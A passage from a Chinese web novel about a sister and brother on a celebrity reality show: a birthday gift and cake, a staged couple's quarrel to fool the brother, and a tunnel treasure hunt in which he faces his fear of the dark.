“还没休息?”最终还是季宁深先开了口,语气寻常得像是在谈论天气。 “嗯,有点事想不通,出来吹吹风。”江知雾说。 季宁深闻言,下意识地微微蹙眉:“还在为暨明旭的事烦心?” 江知雾摇了摇头:“为他?还不值得。”她顿了顿,语气里染上一丝极少见的、真实的困扰,“……今天是砚舟的生日,我在想该送他什么东西。” 季宁深侧过头,看了她一眼,似乎有些讶异她会为这种事困扰。 他几乎是脱口而出:“节目组的任务安排在下午,上午应该有空闲时间。如果不介意的话,我可以陪你去附近看看——那边有几家小众的乐器店和手作工坊,或许能找到合适的。” 话一出口,他自己倒先顿了顿,意识到自己表现得太过于主动,仿佛见不得江知雾有一丝烦恼。 季宁深干咳一声,补充道:“……刚好我也想给念念买些小玩意儿。” 江知雾定定看着他,绽开了一个清浅的笑容:“好呀。那明天就麻烦你陪我一起了。” 第42章 翌日上午,阳光透过薄云洒下,给童话小屋镀上一层柔和的金边。 江知雾按照约定时间走出房门,季宁深已经等在客厅,简单的休闲款穿搭,衬得他身姿挺拔,清隽出尘。 “早。”季宁深看到她,目光微凝,随即自然地打招呼。 “早,麻烦你了。”江知雾点头。 季念念被暂时托付给了工作人员照看,两人并肩走出小屋。节目组的跟拍摄像默契地保持着距离,既记录素材,又不至于过分打扰。 童话小镇不算特别大,但店铺琳琅满目,各种商品别出心裁。季宁深显然做足了功课,目标明确地引着她穿过人流,走向一片相对安静的区域。 “这边有几家店,或许能找到些特别的东西。”他侧头对江知雾说,声音在略显嘈杂的环境里显得格外清晰。 他们先进了一家主打手工皮具的工作室。店内弥漫着淡淡的皮革香气,四周陈列着各种精致的手工钱包、笔记本和饰品。 江知雾的目光掠过那些做工考究的皮具,思忖着江砚舟会喜欢什么样的礼物。 一位热情的中年店主迎了上来,看到并肩而立的两人,眼睛一亮,笑着对季宁深说:“帅哥,来给女朋友挑礼物?我们这儿新到了一批小羊皮,做零钱包或者钥匙扣最合适了,小姑娘都喜欢。” 季宁深闻言,耳根瞬间染上一抹不易察觉的薄红,连忙摆手解释:“您误会了,我们不是那种关系,是帮她给弟弟选生日礼物。” 店主愣了一下,随即露出了然的神色:“明白明白,原来是给小舅子挑选礼物啊!” 季宁深:“……” 弹幕笑疯了: 【哈哈哈哈老板是懂节目的!】 【这俩人站一起就是配一脸,老板只是说出了我们的心声。】 【我宣布老板是今天的CP粉头。】 江知雾倒是没什么太大反应,只是觉得店主热情得有些过头。她礼貌地对店主笑了笑,婉拒了推荐,低声对季宁深说:“砚舟好像不太用这些,我们去别家看看?” “好。”季宁深从短暂的窘迫中恢复,镇定地点点头。 接下来,他们又逛了一家复古黑胶唱片店和一家潮流玩具集合店。 江知雾看得认真,但始终没有找到让她觉得特别合适的礼物。 季宁深并不多言,只是在她拿起某件物品若有所思时,才会适时地提供一两句关于材质、设计或者品牌背景的客观信息,帮助她判断。 “他似乎什么都不缺,”江知雾微微叹了口气,看着橱窗里琳琅满目的商品,“贵重的、稀有的,对他而言可能都没什么区别。” 季宁深安静地走在她身侧,闻言沉吟片刻,道:“或许,心意比物品本身的价值更重要。砚舟热爱音乐,不妨从这方面再想想?” 他的话提醒了江知雾。她抬眼望去,正好看到前方不远处有一家门面不大,却装修得很有格调的乐器配件与手作工坊。 “去那里看看?”季宁深用眼神示意。 店内空间不大,墙壁上挂满了各种材质的吉他背带、拨片,玻璃柜台里陈列着手工制作的调音器、效果器配件,甚至还有定制款的电容麦克风模型,精致小巧。 江知雾的目光被柜台中央一盒单独陈列的拨片吸引。 那些拨片并非普通的塑料或赛璐珞材质,而是用某种深色的木材混合着极细的金属粉末压制而成,边缘打磨得极其圆润光滑,在灯光下泛着独特而低调的光泽,上面用极精细的工艺雕刻着缠绕的藤蔓与音符图案,既复古又充满艺术感。 “这是黑檀木混合钛粉手工打磨的,”店主是一位头发花白却精神矍铄的老先生,他小心地取出那盒拨片,“每一片的纹路都独一无二,手感沉甸甸的,音色反馈也很特别。是位老匠人做的,数量很少。” 江知雾拿起一片,指尖传来微凉而坚实的触感,重量适中,雕刻的图案摩挲起来有种细腻的质感。她几乎能想象出江砚舟修长的手指捏着它,在琴弦上拨动时的样子。 “这个很好。”她轻声说,语气里带着确定。 季宁深站在她身旁,微微倾身看了看那拨片,点点头:“材质和工艺都很有意义,既专业,也足够独特。他应该会用得上。” 江知雾最终买下了那盒精致的拨片,老先生细心地将它装入一个同样古朴雅致的小木盒中。 走出小店,阳光正好。 江知雾拿着那份沉甸甸的礼物,心里踏实了许多。她转头看向身旁一直耐心陪伴、提供建议的季宁深,诚挚地说:“谢谢你,宁深。要不是你,我可能还在漫无目的地瞎转。” 季宁深眼神柔和,唇角微扬:“能帮上忙就好。这份礼物很有心,他一定会喜欢的。” 礼物的问题解决后,江知雾的心情明显轻快了许多。 季宁深提醒她:“要不要再买一个生日蛋糕?” “很久没过生日,差点忘记了。”江知雾朝他笑笑,“不过这小镇上……” “我来之前查过,”季宁深似乎总能提前想到一步,“前面拐角就有一家提供自助烘焙的蛋糕工坊,设备和材料都很齐全。” 弹幕此刻已经按捺不住: 【季宁深你真的……我哭死!怎么什么都知道!】 【这心思细的,你说他没提前做万字攻略我都不信。】 两人很快找到了那家装修温馨的蛋糕工坊。 江知雾向店主说明来意,并希望有一个不被打扰的空间。店主了然,笑着报出了一个不算低的价格,江知雾毫不犹豫地点头,直接包下了上午时段的使用权。 店员很快备好材料,江知雾系上围裙,拿起打蛋器开始打发奶油。 她动作不算熟练,手腕微微用力,奶油却溅了几滴出来。 季宁深站在她身侧,伸手递过纸巾:“慢些,不用急。”说着,还帮她调整了打蛋器的转速,“这样更容易打发,也不容易溅出来。” 江知雾顺着他的建议调整,果然顺利了许多。季宁深没有插手,只是安静地在一旁陪伴,在她需要时递上工具、称量好的材料。 两人配合默契,在等待蛋糕烘烤的间隙,江知雾准备制作表面的装饰奶油。 或许是太过专注,她没注意到一旁打发奶油的机器转速过快。 细微的“噗”一声,几点洁白的奶油飞溅而出,恰好沾上了正俯身帮她查看烤箱温度的季宁深的侧脸。 冰凉的触感让他微微一怔,直起身。 江知雾回头看见,忍不住轻笑出声。 几点奶油点缀在他轮廓分明的下颌线旁,与他平日温润出尘的气质形成了奇妙的反差。 “你脸上沾到奶油了。”江知雾说道。 季宁深愣了一下,下意识抬手去擦,却擦错了地方,反而把奶油蹭到了颧骨上。 “我看不到,能麻烦你帮一下忙吗?”他问。 江知雾当然没意见。 她拿着湿巾,轻轻擦掉了他脸上的奶油。 季宁深则稍稍倾身,以方便江知雾的动作。 他们这边自然无比,弹幕却早已磕上了: 【管不了那么多了,江姐姐和季宁深我先磕为敬!】 【emmmm不过大家还是冷静磕CP吧,江姐姐和季宁深一个金融圈一个娱乐圈,根本不是一个圈子的人啊。】 【但是不可否认的是,俊男美女组合站在一起就是很好磕啊。】 没一会儿,一个精致的蛋糕就做好了。 江知雾在蛋糕上用巧克力酱写了“砚舟生日快乐”,还摆了一圈新鲜的蓝莓,看起来既漂亮又可口。 店员连忙过来:“我帮您冷藏起来,下午四点准时送到节目组住的地方,保证新鲜。” 江知雾道谢后,和季宁深一起走出烘焙店。 出了门,江知雾的胃里传来一阵轻微的空虚感。高强度专注后的松弛,让她意识到自己有些饿了,但距离节目组统一的午餐时间还有一个小时。 她正想着要不要找个地方先吃点东西,身旁的季宁深却像是能读心一般,忽然开口:“饿了?” 江知雾略显讶异地点头:“有点。” 只见季宁深变戏法似的,从随身带着的纸袋里拿出一个透明的小蛋糕盒,里面装着一个精致可爱的杯子蛋糕。 圆润的蛋糕顶上铺着一层细腻的淡粉色奶油,点缀着一颗鲜红的草莓和银色糖珠,看上去格外诱人。 “刚刚做蛋糕多出来一些材料,顺手做的。”他将杯子蛋糕递给她。 江知雾惊讶地接过盒子:“你什么时候做的?我都没注意。” “就是你专注裱花的时候。”季宁深语气自然,眼底却藏着一丝不易察觉的紧张,“不知道合不合你口味,先垫垫肚子。” 江知雾拿起小叉子,尝了一口。 奶油甜而不腻,草莓新鲜多汁,口感恰到好处。她唇角弯了弯:“味道很不错。” 弹幕又是一波对季宁深的调侃。 【季宁深也太会了吧!居然还偷偷做了小蛋糕!】 【这就是细节啊,猜到江姐姐会饿,提前准备了蛋糕,还挺贴心。】 江知雾和季宁深并肩走回童话小屋时,远远就看见屋前的木台阶上坐着道熟悉的身影。 江砚舟穿着宽松的白色卫衣,黑色短发被风吹得微微凌乱,怀里抱着季念念的玩偶熊,下巴抵在熊耳朵上,原本就带着几分冷意的眉眼此刻皱得更紧,像只被冷落了许久的小狗。 一看见江知雾和季宁深一起走来,他立刻从台阶上站起身,脚步飞快地迎了上去。 “姐,你去哪了?”江砚舟的目光先落在江知雾脸上,又飞快地扫过她身旁的季宁深,语气里带着明显的不满。 他一大早起来就没看见江知雾,工作人员表示对方有事出门了,没想到最后是跟季宁深这家伙一起回来的。 江知雾想把礼物和蛋糕的惊喜留到晚上,此刻被弟弟抓了个正着,只能临时编了个借口:“没什么,就出去随便逛逛,熟悉一下小镇的环境。” 江砚舟的语气充满了怀疑:“昨天节目组不是已经让我们熟悉过了吗?” “呃……忙着做任务,昨天没好好逛过。”江知雾找补道。 “哦。” 江砚舟点点头,像是接受了这个回答。 “下次你要去哪里,记得跟我说一声。”他顿了顿,意有所指地瞥了一眼旁边的季宁深,“不然遇上什么奇奇怪怪、心怀不轨的坏人怎么办?” 弹幕哈哈大笑: 【季宁深:你直接报我身份证号算了。】 【江砚舟:盯——jpg.我姐怎么又被这男的拐跑了!】 被直接内涵的季宁深却像是完全没听懂那层深意,他神色未变,反而顺着江砚舟的话,语气温和却笃定地接道:“砚舟说得对,外面确实要多加小心。” 他看向江知雾,眼神真诚,“不过有我在,不用担心。真有坏人的话,我会处理。” 江砚舟被他这四两拨千斤的回答噎了一下:“……” 装模作样! 这人到底是真没听懂还是装没听懂?! 午餐在节目组安排的餐厅进行,饭后,节目组导演笑眯眯地出现了,宣布了下午的任务规则。 “各位嘉宾,为了让大家更深入地体验我们童话小镇的魅力,我们设置了‘童话徽章收集计划’!小镇里隐藏着多位拥有特殊徽章的NPC,找到他们并完成他们的小任务,就能获得徽章。最终收集到所有徽章的组合,将获得一份由小镇精心准备的神秘大礼!” 大家闻言都跃跃欲试。 随后,在即将出发的途中,导演又私下找到了江知雾和季宁深:“两位老师,基于你们上午非常不错的观众反馈,我们为你们准备了一个附加的特别任务。” 一张特殊的任务卡递到了两人面前。 江知雾接过,展开一看,表情瞬间变得有些微妙。季宁深侧头看去,也是一顿。 任务卡上写着:“特别任务:沉浸式扮演。请两位扮演争吵的小情侣,并骗过至少一位其他嘉宾或NPC。任务成功奖励:小组免除收集徽章任务。任务失败惩罚:喝苦瓜汁。” 弹幕立刻沸腾了: 【!!!还是节目组会玩!太会搞事了吧!】 【啊啊啊官方发糖!这任务我太可了。】 【导演你是懂我们想看什么的,摩多摩多!】 江知雾抬头看向导演,眼神里写着“你们是认真的吗”。导演回以鼓励的笑容。 还能怎么办?任务总是要做的。 江知雾沉思道:“争吵的情侣,具体要怎么演?” “没关系,知雾姐姐你随便发挥就好。”季宁深说,“现在关键是确定目标——我们要找一个最好骗的人。” 几乎是同时,两人 的目光越过零星走动的工作人员,精准地锁定在了不远处的江砚舟身上。 弹幕似有所感: 【哈哈哈哈救命!我已经预感到江砚舟要被坑惨了!】 【要找最好骗的人,第一目标居然不是小念念,而是江砚舟吗2333?】 【就喜欢看这种亲姐坑弟的名场面,嘻嘻嘻。】 而此刻的江砚舟,正百无聊赖地踢着地上的石头玩。 其他嘉宾都已经三三两两结伴出发,拿着地图兴致勃勃地去寻找徽章NPC了,可他左等右等,就是没看到江知雾的身影。 “小不点,你在这里乖乖等着,别乱跑。”他随手给了季念念一块小熊饼干。 季念念见到有吃的,勉为其难点头:“好吧。” 江砚舟揉了揉她的头发,站起身,绕过童话小屋,刚走到僻静的后巷,就看到那两人站在巷子深处。 然而,映入眼帘的情景让他脚步猛地顿住,血液几乎瞬间冲上头顶—— 只见江知雾背对着他,肩膀微微颤抖,而季宁深站在她面前,低着头,似乎正在说什么。 下一秒,江知雾带着明显哭腔的声音传来,破碎又伤心:“……你怎么可以这样?” 江砚舟脑子“嗡”的一声,怒火瞬间点燃! 季宁深这混蛋!果然欺负他姐姐了! 他攥紧拳头,几乎要立刻冲上去揪住季宁深的衣领质问。 可就在他脚步迈出的前一秒,江知雾带着更浓重哭腔的话语,就清晰地飘进他的耳朵: “宁深……你真的、真的要跟我分手吗?” 江砚舟猛地刹住脚步,整个人如同被一道惊雷劈中,僵立在原地,大脑一片空白。 分……分手? 他们什么时候……在一起的?! 江知雾的眼泪像断了线的珍珠,顺着白皙的脸颊滑落。 她微微仰头看着季宁深,那双平日里清冷的眼眸此刻氤氲着水汽,充满了委屈和难以置信的破碎感,演技逼真得连镜头后的工作人员都下意识屏住了呼吸。 季宁深显然没预料到她能演得如此投入、如此真实。 看着她梨花带雨的质问,季宁深瞬间失神,几乎忘了这是在演戏。 他下意识地抬起手,差点就想帮对方擦眼泪。 就在这时,江知雾借着拭泪的动作,极轻地朝他眨眨眼。 季宁深一个激灵,猛地回过神来。他迅速调整情绪,接上了戏:“我怎么样?是你太不可理喻了!整天为一点小事就闹脾气,你不觉得累吗?” 他的表演比起江知雾略显生硬,但此刻的江砚舟已经没有心情分辨了! “你混蛋!”江砚舟猛地从拐角冲了出来,一把将江知雾拉到自己身后护住,怒视着季宁深,“你凭什么这么说我姐?!” 他的突然出现,让“争吵中的小情侣”似乎都吓了一跳。 江知雾看到弟弟冲出来,心里暗道一声“上钩了”,脸上委屈更甚,带着哭音添油加醋:“砚舟……他、他太过分了!我只是心情不好,想让他学狗叫逗我开心一下而已,他都不愿意!还说我作……” 江砚舟原本还一副义愤填膺的模样,听到“学狗叫”三个字时,脚步明显顿了顿,瞪着季宁深的眼神也有了瞬间的飘忽。 可转念一想,姐姐肯定是压力太大才会说这种话,季宁深都是男友了,怎么能不答应? 他立刻又挺直脊背,理直气壮地对着季宁深拔高声音:“听到没!我姐让你学个狗叫怎么了?你要是真心对她好,这点小事都做不到?” 江知雾像是终于找到了撑腰的人,眼眶泛红地控诉:“还有,我叫他帮我把芝麻饼上所有芝麻都剥皮,他也不乐意。” 季宁深配合着演对手戏:“谁吃个芝麻饼还得一颗颗把芝麻皮给剥了?” “我喜欢吃芝麻不喜欢吃芝麻皮,有问题吗?”江知雾反问。 江砚舟似乎觉得哪里不对,但还是硬着头皮帮腔:“……黄瓜皮要削,花生壳要剥,芝麻剥皮没毛病。”声音比刚才弱了一点。 江知雾差点笑出声,但还是强行忍住了:“咳,还有更过分的呢。” “什么?” “我特意打印了五百万字的男友守则让他背,结果他只背了124万字,你说气人不气人?” 江砚舟神情僵硬了:“多、多少字的男友守则?” 季宁深抱臂说:“五百万字。” 江砚舟:“……” 作为一篇《岳阳楼记》都背不下来的差生,江砚舟很难想象五百万字究竟是多么庞大的概念。 弹幕要被他纠结的神色给逗乐了: 【笑不活了!江砚舟听到五百万字男友守则后震惊的表情我能笑一年。】 【江姐姐演技炸裂,季宁深这实力派都差点儿没接上。】 【还好我有上帝视角,不然差点真要上当了。】 【只有江砚舟受伤的世界达成了。】 江知雾看着弟弟那副纠结的小模样,终于憋不住“噗嗤”笑出了声:“好了,不逗你了,我们是在演戏。” “演戏?”江砚舟愣了两秒,后知后觉泛起委屈:“你和他早上就神神秘秘不见踪影,下午竟然还合起伙骗我。” 江知雾赶紧解释:“本来我们没打算这么做的,是节目组临时给了我们一个特别任务。”她晃了晃手里的任务卡,“导演说,只要能骗过一位嘉宾或者NPC,我们就能免掉下午的徽章收集任务。” 江砚舟不满地嘟嚷:“免掉任务干什么?” 江知雾伸手轻轻揉了揉他的头发:“傻弟弟,免掉了任务,就能腾出整个下午的时间,专心陪你过生日啊。” “生日?”江砚舟愣住了。 “今天是你的生日,忘了吗?”江知雾问。 就在这时,童话小屋突然传来季念念惊喜的大叫声:“哇!好大的盒子!是谁订的漂亮蛋糕呀?” 季宁深适时离开,把空间留给姐弟俩:“蛋糕到了,我去提过来。” 江砚舟愣愣地盯着他离开,又缓缓转过头,看向面前笑意盈盈的姐姐。 “你们早晨……就是去订蛋糕了?” “对,蛋糕是我亲手做的。”江知雾从随身带着的纸袋里拿出了那个古朴雅致的小木盒,递到他面前,眼神温柔,“这个是你的生日礼物。” 江砚舟彻底呆住了,所有不满、委屈,在这一刻被这突如其来的、巨大的惊喜冲得七零八落。 他怔怔地接过那个沉甸甸的木盒,手指甚至有些无措地摩挲着上面细腻的纹路。 “姐!”少年带着鼻音唤了一声。 不等江知雾回应,他像只被温暖阳光晒得晕乎乎的大型犬,猛地伸手把姐姐抱住。 江知雾被他这突如其来的热烈反应撞得微微后退半步,随即失笑,抬手轻轻拍了拍弟弟的后背,语气温柔: “江砚舟,生日快乐。” 第43章 弹幕上是粉丝和路人热情的刷屏: 【!!!原来今天是砚舟生日啊!弟弟生日快乐~】 【生日快乐!不过顶流这是要掉小珍珠了吗?】 【眼眶好像真的红了!本来以为江砚舟是个BKing,结果就是只看起来很凶的狗勾呀。】 江砚舟只抱了一下就松开手,小心翼翼地打开那个古朴的木盒。 黑檀木混合钛粉的拨片静静躺在丝绒垫上,在阳光下流转着独特而低调的光泽,精细的雕刻纹路清晰可见。 他拿起一片,指尖感受到微凉沉实的触感,和他常用的那些塑料或赛璐珞拨片完全不同。 “喜欢吗?”江知雾看着他专注的神情,轻声问。 江砚舟用力点头,露出一个灿烂无比的笑容:“喜欢!特别喜欢!” 这时,季宁深走过来,适时地提醒:“蛋糕到了,要不要先回屋里?趁新鲜吃。” “对,先回去,给你点蜡烛许愿。”江知雾笑着揽过弟弟的肩膀。 几人一起回到童话小屋的客厅。季念念正围着那个蛋糕盒子打转,看到他们进来,立刻欢呼:“砚舟哥哥生日快乐!” 工作人员也送上了祝福。江知雾打开蛋糕盒,将精致的蛋糕放在茶几中央,插上并点燃了数字蜡烛。柔和的烛光映照着每个人的脸庞。 “许愿吧。”江知雾对弟弟说。 江砚舟闭上眼睛,双手合十,脸上带着前所未有的认真和宁静。他并没有思考太久,很快就睁开眼,凑上前,一口气吹灭了所有蜡烛。 “你许了什么愿望呀?”季念念立刻好奇地凑过来问,大眼睛忽闪忽闪的。 江砚舟伸出食指抵在唇边,做出一个保密的表情,难得语气温和地对小家伙说:“生日愿望说出来就不灵了。” 季念念一听,立刻用两只小手紧紧捂住自己的嘴巴:“念念不问了!臭脸哥哥的愿望要灵灵哒!” 江砚舟忍不住勾了勾唇,目光却不由自主地飘向身旁正微笑着看着他们的姐姐。 他的生日愿望很简单。 希望姐姐……平安顺遂,永远开心。 * 其他几组嘉宾陆续完成任务回到童话小屋时,才从工作人员口中得知今天是江砚舟的生日。 大家纷纷送上生日祝福,导演难得大发慈悲,宣布今天不再安排其他任务,让大家自由活动,享受剩下的时间。这决定自然又引来弹幕一阵【导演终于做人了!】的调侃。 次日早上,节目组才给大家发布任务卡。 “各位探险家们,今天我们将进行一场激动人心的寻宝活动!”导演拿着喇叭宣布,“在你们面前有两个选择: 一、前往甜蜜的‘糖果城堡’。那里道路平坦,线索明显,风险较低,但最终能获得的宝藏——大珍珠的数量也相对较少。 二、探索神秘的‘废弃隧道’。那里道路崎岖,环境复杂,需要耗费大量体力和时间,风险较高,但一旦成功,获得的‘大珍珠’奖励将极为丰厚! 导演把选择权交给了各位嘉宾。 宿姚觉得去废弃隧道的收益更高,但暨明旭更倾向于保守的选择。 “废弃隧道听起来就很耗时,不确定性太大,”暨明旭分析道,“把时间浪费在路途上不划算,还是糖果城堡收益更高。” 他铁了心的想去糖果城堡,宿姚拗不过,只能听从队友的意见。 季宁深还带着个小团子,出于安全的考虑,他最终也选了糖果城堡。 除了他们,李柏、李乐乐和江砚舟都毫不犹豫认为应该去废弃隧道。 江知雾多看了弟弟一眼,似乎想说什么,最终却把担忧给吞了回去。 黄芷禾本来听到暨明旭的分析,也更倾向于去糖果城堡。可是当她注意到江知雾姐弟的选择后,脚步就停住了。 自从第三期节目开播以来,弟弟江汀始终是那副平平淡淡的态度,导致两人的直播间压根没什么看点。 昨天黄芷禾辛辛苦苦做任务,跑遍了几乎整个小镇收集徽章,累得满头大汗,热度却依旧提不上来。 而江知雾和江砚舟的直播间呢?只是简简单单过个生日,切个蛋糕,弹幕铺天盖地,热度甚至冲上了平台热门。 一种强烈的不甘和想要证明什么的情绪攫住了她。黄芷禾在最后时刻改变了主意,声音不大但清晰地说:“那……我也去隧道看看吧。” 导演确认了所有人的选择: 糖果城堡组:宿姚、暨明旭;季宁深、季念念。 废弃隧道组:江知雾、江砚舟;李乐乐、李柏;黄芷禾,江汀。 暨明旭挑起眉,转向江砚舟:“前辈不是怕黑吗?废弃隧道环境复杂,光线肯定不好,前辈确定没问题?” 他记得当时地方台颁奖典礼时突然停电,江砚舟整个人像是从水里捞出来的一样,全身是汗,脸色苍白如纸。 这话本身是关心,不过搭配上暨明旭似笑非笑的表情,有点像挑衅和挖苦。 江砚舟语气平直地说:“别叫我前辈,我不过就是出道比你早一点而已,要是没记错的话,你年龄比我还大一岁吧?这声前辈我听着别扭。” 暨明旭的脸色瞬间变得十分难看,他没想到江砚舟会如此直接地回怼过来。 他的粉丝本来就看江砚舟不爽,现下更是找到由头发作: 【江砚舟什么态度,就这么跟明旭说话的啊?一点礼貌都没有。】 【就是就是,顶流有什么好拽的,还不是有钱请枪手,才唱一首火一首,踩着别人的心血上位罢了。】 【真以为自己多了不起啊,没了背后的团队,他啥也不是。】 江砚舟的粉丝们看到这些弹幕,也是无语透顶。 【拜托,你们能不能有点证据再说话啊,没来由的事情也能被你们说得这么信誓旦旦,上一个造谣的已经被送进去了。】 【都是千年的狐狸,暨明旭玩什么聊斋呢,所有话里有话被怼的都是活该哈。】 【况且砚舟也没说错,暨明旭年龄大是事实啊。】 现场气氛一时有些凝滞。 李柏见状,适时地笑着打圆场:“好了好了,选择都是个人自由嘛。” 李乐乐也赶紧接上:“废弃隧道听起来就很有挑战性,我已经开始兴奋了!咱们抓紧时间出发吧?” 兄妹俩对请没请枪手的事情不感兴趣,尽管暨明旭的手稿比江砚舟成名曲发布的时间更早,但他们觉得在没看到事实真相前都不能轻易下定论。 不过情感上,李乐乐私心里还是更偏向江砚舟。 她觉得江姐姐是个看起来很冷,但内核善良的人,想必她的弟弟再歪也歪不到哪里去。 江砚舟压根没管暨明旭瞬间铁青的脸色,转身就快步跟上了江知雾。 江知雾放缓脚步,侧头看向弟弟,眼神里带着一丝不易察觉的担忧,低声问:“真的没问题?” 江砚舟双手插兜,语气轻松:“我没事啊,能有什么问题?” 另一边,黄芷禾并没有立刻跟上大部队。 她看到暨明旭站在原地,而同伴宿姚似乎没有要关心的意思,便走上前去,声音温柔地安慰道:“明旭,你别往心里去。你的才华大家都有目共睹,只不过早期没有团队捧着,也没有姐姐帮衬,所以才成名晚。” 这话像是说到了暨明旭的心坎里,他的脸色稍微缓和了些:“谢谢,不过我相信,有些事情迟早会重见天日的。” 他摇摇头,一副不欲多言、隐忍大度的样子,更引得粉丝心疼不已。 【心疼明旭和芷禾,明明都那么优秀,却要被顶流和他的姐姐联手排挤吗?】 【拿咖位压人算什么本事?暨明旭早年当枪手写的歌要是挂自己名字,早就火了吧!】 【明旭也太惨了吧!有苦说不出的感觉。】 而江汀和宿姚站在一边,看着那两人抱团取暖的样子,同时起了层鸡皮疙瘩。 赛道选定,嘉宾们各自出发。 前往废弃隧道的小组需要先攀爬童话小镇后方的一座小山。正如导演所说,山路是修整过的公路,虽然蜿蜒但平坦,只是漫长且少有车辆通行,全程几乎都需要靠步行。 江知雾和江砚舟走在最前面,李柏李乐乐兄妹紧随其后,黄芷禾和江汀则落在最后,气氛略显沉闷。 走了约莫半小时,坡度渐陡,江砚舟抬手擦了擦额角细微的汗珠,望着前方似乎没有尽头的山路,忍不住嘀咕:“不是说修隧道是为了便捷和速度吗?建在这半山腰上,上来一趟都费劲,便捷在哪?” 走在他身旁的江知雾闻言,侧头瞥了一眼蜿蜒而上的公路,以及远处若隐若现的隧道入口,语气平淡却一针见血:“所以它被废弃了。” 江砚舟:“……”逻辑无可挑剔,他竟然无言以对。 他没再追问,只是默默加快脚步,跟紧了江知雾的身影。 又走了十几分钟,两人额角都渗出了薄汗,喉咙也开始发紧。 众人的耳边突然传来节目组配备的便携对讲机里的播报声: “各位嘉宾请注意!目前糖 果城堡组传来最新进展——宿姚、暨明旭组合已成功找到12颗大珍珠!季宁深、季念念组合找到5颗大珍珠!请其他组继续加油!” 选择废弃隧道的嘉宾还没到目的地,糖果城堡那边已经初露成果了。 暨明旭的粉丝像是打了鸡血,兴奋异常: 【啊啊啊明旭好棒!选择糖果城堡果然是对的!】 【某些人现在还在吭哧吭哧爬山呢,坐等明旭碾压某顶流好吗,让他拿咖位压人。】 【笑死,才刚开始就急着吹?12颗很多吗?隧道组还没到目的地呢,等砚舟和江姐姐找到宝藏,看谁打脸!】 【就是,某些粉丝别得意太早,谁笑到最后还不一定呢。】 江砚舟和江知雾的脚步已经率先停在了废弃隧道入口。 洞口比想象中更幽深,像是被墨汁浸过的画布,连山间的日光都只能在边缘打转,不敢往深处多探半分。风从隧道里穿出来,带着潮湿的土腥味,卷得入口处的杂草簌簌作响。 江知雾注意到了弟弟开始不对劲。 方才爬山时还能跟她插科打诨的人,此刻指尖微微蜷缩,连呼吸都比平时重了些。 她伸手轻轻碰了碰江砚舟的胳膊,声音放得很柔:“要是觉得不舒服,我们可以回糖果城堡或者放弃比赛,不用逞强。” 可江砚舟却摇了摇头,没说话。 他知道自己不能退——不只是不想在镜头前露怯,更不想让姐姐担心。 “我没事。”他哑着嗓子说了一句,不等江知雾再开口,便打开手机自带的手电筒,抬脚迈进了隧道。 刚走两步,脚下突然被一块碎石绊了一下,江砚舟身体猛地一僵,手电筒的光也跟着晃了晃,在墙壁上投出扭曲的影子。 他下意识地停住脚,只觉得眼前的黑暗像是活了过来,正一点点往他身边涌,视线开始发花,连脚下的路都变得模糊不清,仿佛再往前一步,就会踏进无底的深渊。 就在他感觉冰冷的恐慌即将攫住喉咙,身体僵硬得无法动弹时—— 一只温暖的手坚定而轻柔地握住了他冰凉微颤的手指。 江知雾稍稍收紧了掌心,将他的手完全包裹住。然后,缓缓开口,哼起了一段熟悉的旋律。 调子很老,是小时候妈妈总是在睡前哼给姐弟俩听的那首摇篮曲。 “月亮船,摇啊摇,摇到外婆桥……” 指尖的冰凉渐渐褪去,胸口的发紧感也慢慢消失。 江砚舟猛地喘过一口气,僵直的背脊一点点松弛下来。 模糊的视线重新聚焦,虽然前方依旧黑暗,但手心里的温度无比真实,耳边的哼唱抚平了所有躁动不安的恐慌。 “……姐。”他声音还有点发涩,但已经平稳许多,“我没事了。” 江知雾的哼唱停下,“嗯”了一声,却没松开手。 她轻声开口,问出了最想问的那个问题:“为什么怕黑?” 江砚舟的嘴唇动了动,那些被深埋的、带着潮湿霉味的记忆碎片几乎要冲口而出,但最终只是抿成一条苍白的直线。 他垂下眼睫,摇了摇头。 江知雾没有追问,只是更紧地握了握他的手:“没关系,姐姐会等你愿意告诉我的那一天。” 在她全然包容的目光里,江砚舟闷闷地、却很清晰地应了一声:“……好。”他主动说,“我们开始找吧。” 起初,江砚舟的视线仍会因远处无法被光照亮的深邃黑暗而微微发颤,呼吸也会不自觉屏住。 但每一次,当他感到那熟悉的恐慌即将漫上时,耳边就好像又隐约响起了姐姐哼唱的调子,温柔而坚定。 他悄悄侧头,能看到江知雾就在他身边不远处,神情专注地寻找线索,她的存在本身就像一座最可靠的灯塔。 他知道,无论前方有多黑,姐姐总会在他身边,或牵着他,或哼着歌,就像过去无数个艰难时刻一样,从未缺席。 这份认知给了他前所未有的勇气。 他的动作逐渐变得流畅,甚至能主动走向更深的角落探查。虽然脊背偶尔仍会因突如其来的阴影或声响而瞬间绷直,但他不再僵硬,能很快调整呼吸,继续下一步。 很快,江砚舟在一个废弃的工具箱夹层里找到了8颗。 江知雾的观察力极其敏锐,她注意到一处墙壁的砖石有细微的松动,徒手掰开几块松动的砖石后,后面竟藏着一个木匣,里面躺着满满一堆硕大的珍珠。 对讲机里不时传来节目组的播报: “糖果城堡组最新战果:宿姚、暨明旭组合累计获得18颗大珍珠!季宁深、季念念组合累计获得8颗大珍珠。” “废弃隧道组最新战果:江知雾、江砚舟组合累计获得35颗大珍珠!李柏、李乐乐组合累计获得9颗大珍珠!黄芷禾、江汀组合累计获得1颗大珍珠!” 巨大的数字差距让观众们都很兴奋。 【多、多少?!三十五?!隧道组这么肥的吗?】 【啊啊啊啊啊砚舟和江姐姐太棒了!打脸虽迟但到。】 【糖果城堡这边找来找去就那么几颗,根本不公平!】 【明旭只是运气不好选了糖果城堡而已,要是去隧道,肯定比江砚舟找得多。】 这种毫无根据的指责立刻引来了其他观众和路人的反驳: 【笑死,输不起就别玩啊,规则一开始就说得明明白白,隧道风险高回报高,是自己不选怪谁?】 【明明是自己求稳选了简单模式,现在又眼红别人困难模式奖励丰厚?哪有这么好的事?】 黄芷禾听到播报有点急了,她脚程最慢,目前只找到了一颗,路上都是被前面的人找过的宝箱。 “怎么会这样……”她咬着下唇,心里又急又慌。 要是今天寻宝再垫底,这期她的镜头该不会被剪得只剩边角料吧? 正烦躁时,黄芷禾脚下不知踢到了什么,她低头一看,是块微微凸起的水泥地面,边缘还嵌着点松动的碎石,和周围平整的地面格格不入。 说不定这下面有宝箱呢?! 黄芷禾眼睛一亮,像是抓住了救命稻草。 她没多想,转身就从地上捡了块锈迹斑斑的铁板,蹲下身就往凸起处砸——铁板敲在水泥上,发出“哐当、哐当”的刺耳声响,在空旷的隧道里格外突兀。 